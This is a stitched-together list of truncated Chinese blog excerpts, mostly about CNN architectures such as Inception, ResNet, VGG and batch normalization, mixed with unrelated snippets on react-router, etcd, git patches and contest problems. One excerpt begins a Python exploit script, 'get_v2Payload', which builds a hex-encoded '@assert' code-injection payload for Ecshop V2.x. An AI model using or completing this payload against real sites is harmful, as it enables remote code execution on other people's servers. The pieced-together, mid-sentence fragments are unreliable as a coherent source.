0 - 背景 在经过了inception v1的基础上,google的人员还是觉得有维度约间的空间,在<Rethinking the Inception Architecture for Computer Vision>一文中,通过卷积分解.网格约间等方式来修改inception模块.当然了在BN那篇论文的附录部分也多少涉及到v2的设计方向. 因为第一篇论文并没有详细说明设计inception v1的一些具体原理,而其主要是从如何减小模型的参数量上下手,所以v3上对这部分做了个简单的原则说明:…

0. 背景 随着何凯明等人提出的ResNet v1,google这边坐不住了,他们基于inception v3的基础上,引入了残差结构,提出了inception-resnet-v1和inception-resnet-v2,并修改inception模块提出了inception v4结构.基于inception v4的网络实验发现在不引入残差结构的基础上也能达到和inception-resnet-v2结构相似的结果,从而认为何凯明等人认为的: "要想得到深度卷积网络必须使用残差结构" 这一…

0. 背景 何凯明大神等人在提出了ResNet网络结构之后,对其做了进一步的分析工作,详细的分析了ResNet 构建块能起作用的本质所在.并通过一系列的实验来验证恒等映射的重要性,并由此提出了新的构建块模型使得网络能够更容易训练和更好的泛化性能(比如不同于ResNet v1中对cifar-10的学习率的谨慎,这里更加放开了). 图0.1 v1中的残差构建块和v2中建议的残差构建块 如图0.1所示,在ResNet v1中,构建块是通过将之前层的\(x\)连接到后面跳过至少2层的输出,然后将和放入激…

经典分类CNN模型系列其五:Inception v2与Inception v3 介绍 Inception v2与Inception v3被作者放在了一篇paper里面,因此我们也作为一篇blog来对其讲解. Google家的Inception系列模型提出的初衷主要为了解决CNN分类模型的两个问题,其一是如何使得网络深度增加的同时能使得模型的分类性能随着增加,而非像简单的VGG网络那样达到一定深度后就陷入了性能饱和的困境(Resnet针对的也是此一问题):其二则是如何在保证分类网络分类准确率提升或…

from:https://blog.csdn.net/qq_14845119/article/details/73648100 Inception v1的网络,主要提出了Inceptionmodule结构(1*1,3*3,5*5的conv和3*3的pooling组合在一起),最大的亮点就是从NIN(Network in Network)中引入了1*1 conv,结构如下图所示,代表作GoogleNet 假设previous layer的大小为28*28*192,则, a的weights大小,1*…

论文地址 Inception V1 :Going Deeper with Convolutions Inception-v2 :Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Inception-v3 :Rethinking the Inception Architecture for Computer Vision Inception-v4 :Inception-Res…

0. AlexNet 1. VGG VGG网络相对来说,结构简单,通俗易懂,作者通过分析2013年imagenet的比赛的最好模型,并发现感受野还是小的好,然后再加上<network in network>中的\(1*1\)卷积核,使得全文只在卷积网络的深度上做文章,从而得出了网络还是越深越好的结论 VGG 2. Inception 与VGG同期出来的有googlenet,该网络通过关注减少模型参数,而不降低模型性能的角度出发,设计出了inception结构,提出了googlenet: 然后g…

1 - 背景 摘要:因为随着前面层的参数的改变会导致后面层得到的输入数据的分布也会不断地改变,从而训练dnn变得麻烦.那么通过降低学习率和小心地参数初始化又会减慢训练过程,而且会使得具有饱和非线性模型的训练变得很困难.我们将这种现象叫做internal covariate shift.BN通过对输入进行归一化从而解决这个问题.在这其中,作者试图让归一化成为模型结构的一部分,并且对每个训练的mini-batch都进行归一化.最后的结果是bn方法可以让我们使用更大的学习率和不用那么小心的初始化.而且…

使用Caffe 跑 Google 的Inception V2 对输入图片的shape有要求,某些shape输进去可能会报错. Inception model中有从conv和pooling层concat的操作,而conv和pooling的output输出计算方式不完全一样.解决方案: 1. 按照原来prototxt输出图片 2. 把concat层前面stride为2的conv层替换stride为1,再额外加上一个stride为2的pooling层 e.g. 以 Inception v2 为例子In…

目录 第一层卷积换为分离卷积 一些层的卷积核的个数发生了变化 多个小卷积核代替大卷积核 一些最大值池化换为了平均值池化 完整代码 参考资料 第一层卷积换为分离卷积 net = slim.separable_conv2d( inputs, depth(64), [7, 7], depth_multiplier=depthwise_multiplier, stride=2, padding='SAME', weights_initializer=trunc_normal(1.0), scope=en…

网络结构解读之inception系列三:BN-Inception(Inception V2) BN的出现大大解决了训练收敛问题.作者主要围绕归一化的操作做了一系列优化思路的阐述,值得细看. Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift 深度网络为什么难训练? 因为internal covariate shift internal covariate shif…

YOLO V2 YOLO V2是在YOLO的基础上,融合了其他一些网络结构的特性(比如:Faster R-CNN的Anchor,GooLeNet的\(1\times1\)卷积核等),进行的升级.其目的是弥补YOLO的两个缺陷: YOLO中的大量的定位错误 和基于区域推荐的目标检测算法相比,YOLO的召回率(Recall)较低. YOLO V2的目标是:在保持YOLO分类精度的同时,提高目标定位的精度以及召回率.其论文地址: YOLO 9000:Better,Faster,Stronger. YO…

0.背景 随着CNN变得越来越深,人们发现会有梯度消失的现象.这个问题主要是单路径的信息和梯度的传播,其中的激活函数都是非线性的,从而特别是乘法就可以使得随着层数越深,假设将传统的神经网络的每一层看成是自动机中的一个状态.那么对于整个神经网络来说,输入到输出就是一个输入态不断的转移到输出态的一个过程.假设其中每一层都是有个变率,即缩放因子.那么: 变率大于1,层数越多,越呈现倍数放大趋势,比如爆炸: 变率小于1,层数越多,越呈现倍数缩小趋势,比如消失: 而传统以往的卷积神经网络都是单路径的,即从…

0.背景 这个模型是<Deep Learning高质量>群里的牛津大神Weidi Xie在介绍他们的VGG face2时候,看到对应的论文<VGGFace2: A dataset for recognising faces across pose and age>中对比实验涉及到的SENet,其结果比ResNet-50还好,所以也学习学习. github上的SENet CNN是通过用局部感受野,基于逐通道基础上,去融合空间信息来提取信息化的特征,对于图像这种数据来说很成功.不过,为…

react-router v4 是完全重写的,所以没有简单的迁移方式,这份指南将为您提供一些步骤,以帮助您了解如何升级应用程序. 注意: 这份迁移指南适用于react-router v2和v3,但为简洁起见,对以前版本的引用仅提及v3. The Router Routes 路由嵌套 on* 属性 Switch The Router 在react-router v3中,仅有一个<Router> 组件,需要提供 history 对象作为他的属性 (prop). 此外,您可以使用 routes 作为…

V1,V2已经不被推荐使用,谷歌强烈推荐使用V3. 本人在选择时着实纠结了良久,现在总结如下: 对于V1,现在已经申请不到API KEY了,所以不要使用这个版本.这个是网址:https://developers.google.com/maps/documentation/android/v1/maps-api-signup: 对于V2,要求ANDROID SDK版本3.0以上好像,所以如果你的目标手机的版本是<3的话,V2也不适合:这个版本还是需要密钥的: 对于V3,符合以上两种情况的,就用V3…

Changing from APIv2.0 to APIv3 in Keystone - Openstack Juno on Ubuntu 1. 更换v3 的policy文件 mv /etc/keystone/policy.json /etc/keystone/policy.json.bak cp /opt/stack/keystone/etc/policy.v3cloudsample.json /etc/keystone/policy.json Step 2: Update Keystone…

Bash游戏V1 有一堆石子共同拥有N个. A B两个人轮流拿.A先拿.每次最少拿1颗.最多拿K颗.拿到最后1颗石子的人获胜.如果A B都很聪明,拿石子的过程中不会出现失误.给出N和K,问最后谁能赢得比赛. 比如N = 3.K = 2.不管A怎样拿,B都能够拿到最后1颗石子. Input 第1行:一个数T.表示后面用作输入測试的数的数量.(1 <= T <= 10000) 第2 - T + 1行:每行2个数N,K.中间用空格分隔.(1 <= N,K <= 10^9) Output…

原文:https://blog.csdn.net/kozazyh/article/details/79586530 ----------------------------------------------------- etcd2和etcd3是不兼容的,两者的api参数也不一样,详细请查看 etcdctl -h .可以使用api2 和 api3 写入 etcd3 数据,但是需要注意,使用不同的api版本写入数据需要使用相应的api版本读取数据. api 2 使用方法 ETCDCTL_API=…

1040 最大公约数之和 给出一个n,求1-n这n个数,同n的最大公约数的和.比如:n = 6 1,2,3,4,5,6 同6的最大公约数分别为1,2,3,2,1,6,加在一起 = 15 输入 1个数N(N <= 10^9) 输出 公约数之和 输入样例 6 输出样例 15 题解 \[ \sum_{i=1}^n\gcd(i,n)=\sum_{d|n}d\varphi(n) \] 暴力搞就行了. 1188 最大公约数之和 V2 给出一个数N,输出小于等于N的所有数,两两之间的最大公约数之和. 相当于计…

前言 \(HE\)沾\(BJ\)的光成功滚回家里了...这堆最大子段和的题抠了半天,然而各位\(dalao\)们都已经去做概率了...先%为敬. 引流之主:老姚的博客 最大M子段和 V1 思路 最简单的ver.数据范围在5000以内,可以考虑暴力一点的做法\(O(n^3)\),定义\(dp\)状态\(dp[i][j]\),递推式子: \[dp[i][j]=max\{dp[i-1][j],dp[k][j-1]\}+a[i]\ (j-1\le k<i) \] 其中\(i\)表示序列中前\(i\)个元…

import requests import binascii def get_v2Payload(code): '''Ecshop V2.x payload''' code = "{$abc'];@assert(%s);//}" %(code) # print(code) code = code.encode() shellcode = binascii.hexlify(code).decode() payload = "554fcae493e564ee0dc75bdf2e…

0. 背景 Karen Simonyan等人在2014年参加Imagenet挑战赛的时候提出的深度卷积神经网络.作者通过对2013年的ILSVRC中最好的深度神经网络模型(他们最初的对应模型都是alexnet)进行研究,发现他们使用了更小的感受野,并且在第一层卷积层中使用了更小的stride,也就是这两点都有助于准确度的提升.所以本文就不去做无用功,从网络的深度去挖掘CNN模型的提升空间,并且发现当网络深度在超过16层时,有明显的提升效果,故而如果截取当前16层的网络,就被称之为VGG16. 从…

1 - V1 google团队在模型上,更多考虑的是实用性,也就是如何能让强大的深度学习模型能够用在嵌入式或者移动设备上.传统的想增强模型的方法无非就是深度和宽度,而如果简单的增加深度和宽度,那么带来的更大参数要训练和需要更强大的计算资源去计算.所以,google团队要做的就是如何在保证模型准确度的情况下减少模型参数. 解决模型复杂和计算资源两个问题的基本方法是:将全连接转换成稀疏连接的结构,甚至在卷积层中都希望有稀疏链接的结构.除了说这是模仿生物结构的一方面,这样的好处还有更加支持了arora…

0. 背景 众所周知,深度学习,要的就是深度,VGG主要的工作贡献就是基于小卷积核的基础上,去探寻网络深度对结果的影响.而何恺明大神等人发现,不是随着网络深度增加,效果就好的,他们发现了一个违背直觉的现象. 图0.1 不同层数的传统网络下的结果表现 最开始,我们认为随着深度的增加,网络效果不好,那是因为存在着梯度消失和梯度爆炸的原因.不过随着大家的努力,这些问题可以通过归一化初始化(即用特定的初始化算法)和归一化层(Batch Normailzation)来极大的缓解. 可是,我们仍然能够发现随…

前言 懒癌翻了,这篇不想写overview了,公式也比较多,今天有(zhao)点(jie)累(kou),不想一点点写latex啦,读论文的时候感觉文章不错,虽然看似很多数学公式,其实都是比较基础的公式,文章也比较细,从网上找了两篇较好的讲解,引用连接在每篇文章前面. 文章1 https://www.cnblogs.com/guoyaohua/p/8724433.html#undefined Batch Normalization作为最近一年来DL的重要成果,已经广泛被证明其有效性和重要性.虽然有…

David Lowe(SIFT 的提出者) 0. 图像金字塔变换(matlab) matlab 对图像金字塔变换接口的支持(impyramid),十分简单好用. 其支持在reduce和expand两种方式的变换,分别是成比例的缩小和放大. % 加载图像数据到内存 I = imread('cameraman.tif'); size(I) % reduce ==> {2, 4, 8} I1 = impyramid(I, 'reduce'); size(I1) I2 = impyramid(I1, '…

1. 生成一个补丁 git format-patch --subject-prefix=v2 -1 那么生成的patch文件就会有如下类似的信息: Subject: [v2] your description about the patch 2. 那么若是同时生成两个补丁呢? git format-patch --subject-prefix=v2, -1 生成的两个patch文件就会有如下类似信息: Subject: [v2, 1/2] your description about the p…

MobileNet系列很重要的轻量级网络家族,出自谷歌,MobileNetV1使用深度可分离卷积来构建轻量级网络,MobileNetV2提出创新的inverted residual with linear bottleneck单元,虽然层数变多了,但是整体网络准确率和速度都有提升,MobileNetV3则结合AutoML技术以及人工微调进行更轻量级的网络构建   来源:晓飞的算法工程笔记 公众号 MobileNetV1 论文: MobileNets: Efficient Convolutiona…

http://linux-ha.org http://linux-ha.org/wiki/Pacemaker Heartbeat2 http://blog.taggesell.de/index.php?/archives/83-How-To-Build-A-Heartbeat-Cluster.html apt-get install heartbeat-2 heartbeat-2-gui xauth Heartbeat3 apt-get install heartbeat pacemaker H…